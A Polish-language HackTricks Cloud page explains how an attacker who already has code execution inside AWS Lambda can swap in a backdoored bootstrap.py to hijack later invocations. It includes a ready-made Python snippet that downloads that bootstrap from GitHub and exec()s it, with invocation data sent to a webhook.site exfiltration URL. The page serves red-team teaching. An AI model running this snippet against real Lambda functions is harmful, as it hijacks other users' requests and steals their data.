AWS - Kradzież Żądań Lambda
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Przepływ Lambda
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer to proces poza kontenerem, który wysyła wywołania do procesu init.
- Proces init nasłuchuje na porcie 9001, udostępniając kilka interesujących punktów końcowych:
/2018-06-01/runtime/invocation/next– pobierz następne zdarzenie wywołania/2018-06-01/runtime/invocation/{invoke-id}/response– zwróć odpowiedź handlera dla wywołania/2018-06-01/runtime/invocation/{invoke-id}/error– zwróć błąd wykonania
- bootstrap.py ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (
/next). - Na koniec bootstrap.py wysyła do init odpowiedź
Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie.
Kradzież Żądań Lambda
Celem tego ataku jest sprawienie, aby kod użytkownika wykonał złośliwy proces bootstrap.py wewnątrz procesu bootstrap.py, który obsługuje podatne żądanie. W ten sposób złośliwy proces bootstrap zacznie rozmawiać z procesem init, aby obsługiwać żądania, podczas gdy legit bootstrap jest uwięziony, uruchamiając złośliwy, więc nie będzie prosił o żądania do procesu init.
To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany przez legitny proces bootstrap.py. Tak więc atakujący mógłby:
- Wysłać fałszywy wynik bieżącego wywołania do procesu init, aby init myślał, że proces bootstrap czeka na więcej wywołań.
- Żądanie musi być wysłane do
/${invoke-id}/response - invoke-id można uzyskać ze stosu legitnego procesu
bootstrap.pyza pomocą modułu inspect w Pythonie (jak proponowano tutaj) lub po prostu ponownie żądając go do/2018-06-01/runtime/invocation/next(jak proponowano tutaj). - Wykonać złośliwy
boostrap.py, który obsłuży następne wywołania - Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
- Do tego ataku wystarczy pobrać oryginalny kod
bootstrap.pyz systemu lub github, dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.
Kroki Ataku
- Znajdź podatność RCE.
- Wygeneruj złośliwy bootstrap (np. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Wykonaj złośliwy bootstrap.
Możesz łatwo wykonać te działania, uruchamiając:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Dla uzyskania dodatkowych informacji sprawdź https://github.com/carlospolop/lambda_bootstrap_switcher
Odniesienia
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

